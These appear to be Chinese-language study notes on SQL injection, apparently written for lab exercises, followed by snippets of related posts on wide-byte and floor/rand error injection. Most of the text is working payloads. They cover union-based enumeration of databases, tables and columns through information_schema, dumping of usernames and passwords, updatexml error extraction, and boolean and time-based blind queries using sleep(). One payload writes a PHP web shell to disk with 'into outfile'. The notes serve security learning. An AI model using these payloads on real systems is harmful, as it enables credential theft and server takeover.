union聯合查詢注入大致步驟:
1.判斷列數 -- 通過 order by n;
2.判斷顯示位 -- id =-1 union select 1,2,3挨著試
報錯注入
1.報錯注入就是構造讓資訊通過錯誤提示回顯出來,
前提:頁面上沒有顯示位,但是需要執行sql語句輸出錯誤資訊
基於布林型別的注入
頁面上不需要顯示位,也沒有輸出錯誤資訊,只能通過頁面返回是否正常
時間注入
原理:正確的sql語句和錯誤的sql語句返回的時間不一樣,依此來判斷查詢結果的正確性,但是要耗費大量時間。
%23 注釋掉 - - +也是
id title content time author
select * from new where id=1?
select 聯合查詢union
order by 排序 先知道有幾列 在聯合查詢
version 版本號
前後兩個語句都對就顯示id了,把不要查的報錯後面的版本資訊就出來了id=-1 union select 1,2 ,version()
查詢資料庫中所有的庫名
id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata 所有的庫名
id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' 表名
schemate 儲存所有資料庫的名字 tables 儲存所有的表的名字 column 儲存所有的字段的名字
id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'爆 列名
schemata
庫名.表名
union select 1,2,group_concat(schema_name) from information_schema.schemata
、、查詢所有的表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()
查詢當前庫中某乙個表的所有列 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'
group_concat schema.schemata schema_name
查字段的內容union select 1,group_concat(username),group_concat(password) from security.users 或者 union select 1,2,group_concat(username, '-',password) from users
查詢所有的咧 select column_name from
報錯查詢') union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
id=') union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
select ascii(substr(database(),1,1)) = 127 substr 擷取字串函式
先報錯
select ascii(substr(database(),1,1)) = id=1' and ascii(substr(database(),1,1)) > 64 %23 求資料庫名的首字母
求使用者名稱的長度 id=1' and (select length (user())=14)--+ length 求長度的函式
'and ength(current_user())%23
求當前使用者名稱的函式current_user() 時間盲注 select if(length(current_user())=14,sleep(2),1);
時間注入: if(payload,sleep(3),1)
即payload正確時,程式暫停3秒。否則立刻執行
?id=1" and sleep(5) %23 時間判斷是什麼語句
if()語句
id=1" and if(ascii(substr(database(),1,1)) = 115, sleep(2),1) %查詢當前資料庫使用者名稱的首字母
?id=1')) union select 1,2,3 into outfile 'c:\\www\\shell.php' %23 寫入檔案
SQL注入(三) sql注入 bugku
原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...